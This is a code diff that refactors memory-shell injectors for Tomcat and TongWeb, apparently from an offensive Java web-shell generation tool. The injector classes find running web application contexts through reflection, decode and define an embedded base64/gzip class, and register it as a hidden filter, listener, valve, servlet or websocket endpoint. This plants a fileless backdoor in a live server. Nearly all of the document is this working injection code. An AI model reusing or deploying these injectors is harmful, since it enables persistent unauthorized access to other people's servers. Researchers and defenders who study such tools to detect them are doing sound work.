if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
Object filterDef; Object filterDef;
@@ -139,7 +165,11 @@ public class TomcatFilterInjector {
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig); filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -209,6 +239,21 @@ public class TomcatFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,32 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Tomcat Listener 注入器
* 测试版本
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author pen4uin, ReaJason * @author pen4uin, ReaJason
*/ */
public class TomcatListenerInjector { public class TomcatListenerInjector {
public TomcatListenerInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -38,8 +24,47 @@ public class TomcatListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public TomcatListenerInjector() {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += " [/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -66,18 +91,19 @@ public class TomcatListenerInjector {
} }
} }
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -87,26 +113,26 @@ public class TomcatListenerInjector {
List<Object> listeners = (List<Object>) objects; List<Object> listeners = (List<Object>) objects;
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
listeners.add(listener); listeners.add(listener);
System.out.println("listener inject successful");
} else { } else {
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects))); List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
for (Object o : arrayList) { for (Object o : arrayList) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
arrayList.add(listener); arrayList.add(listener);
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()}); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
System.out.println("listener inject successful");
} }
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -152,7 +178,7 @@ public class TomcatListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -195,10 +221,24 @@ public class TomcatListenerInjector {
} }
method.setAccessible(true); method.setAccessible(true);
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -20,17 +21,45 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve; private Object rawValve;
private Object proxyValve; private Object proxyValve;
private String msg = "";
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object valve = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
@@ -57,8 +86,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
return method.invoke(rawValve, args);
} }
return method.invoke(rawValve, args);
} }
return method.invoke(rawValve, args); return method.invoke(rawValve, args);
} }
@@ -94,15 +123,17 @@ public class TomcatProxyValveInjector implements InvocationHandler {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -114,13 +145,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
String fieldName = "first"; String fieldName = "first";
try { try {
rawValve = getFieldValue(pipeline, fieldName); rawValve = getFieldValue(pipeline, fieldName);
} catch (NoSuchFieldException e) { } catch (NoSuchFieldException ignored) {
}
if (rawValve == null) {
fieldName = "basic"; fieldName = "basic";
rawValve = getFieldValue(pipeline, fieldName); rawValve = getFieldValue(pipeline, fieldName);
} }
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve)); Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
setFieldValue(pipeline, fieldName, proxyValve); setFieldValue(pipeline, fieldName, proxyValve);
System.out.println("proxyValve inject successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -168,7 +205,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -208,4 +245,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,11 +3,15 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -16,17 +20,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatServletInjector { public class TomcatServletInjector {
public TomcatServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -40,6 +34,45 @@ public class TomcatServletInjector {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
public TomcatServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -68,24 +101,24 @@ public class TomcatServletInjector {
} }
} }
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
if (isInjected(context)) { if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
System.out.println("servlet already injected");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -104,19 +137,11 @@ public class TomcatServletInjector {
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
} }
support56Inject(context, wrapper); support56Inject(context, wrapper);
System.out.println("servlet inject success");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings"); return msg;
Collection<String> values = servletMappings.values();
for (String name : values) {
if (name.equals(getClassName())) {
return true;
}
}
return false;
} }
private void support56Inject(Object context, Object wrapper) throws Exception { private void support56Inject(Object context, Object wrapper) throws Exception {
@@ -249,4 +274,19 @@ public class TomcatServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,34 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Valve 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class TomcatValveInjector { public class TomcatValveInjector {
public TomcatValveInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -40,6 +24,45 @@ public class TomcatValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatValveInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -62,42 +85,38 @@ public class TomcatValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
return; for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return;
}
} }
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -144,7 +163,7 @@ public class TomcatValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -172,4 +191,19 @@ public class TomcatValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -18,17 +19,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatWebSocketInjector { public class TomcatWebSocketInjector {
public TomcatWebSocketInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object obj = getShell(context);
inject(obj, context);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -42,6 +33,44 @@ public class TomcatWebSocketInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatWebSocketInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
@@ -73,21 +102,23 @@ public class TomcatWebSocketInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
private void inject(Object obj, Object context) throws Exception { private void inject(Object context, Object obj) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null); Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) { if (container == null) {
@@ -95,11 +126,10 @@ public class TomcatWebSocketInjector {
} }
if (container == null) { if (container == null) {
return; throw new RuntimeException("container is null");
} }
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
System.out.println("websocket at " + getUrlPattern() + " already exists");
return; return;
} }
@@ -121,7 +151,11 @@ public class TomcatWebSocketInjector {
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
System.out.println("websocket at " + getUrlPattern() + " inject successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -197,7 +231,22 @@ public class TomcatWebSocketInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -45,7 +45,6 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".invoke");
} }
} }
} }
@@ -68,6 +67,7 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -45,7 +45,6 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".doFilter");
} }
} }
} }
@@ -68,6 +67,7 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -10,14 +11,14 @@ import java.util.Collection;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.logging.Logger;
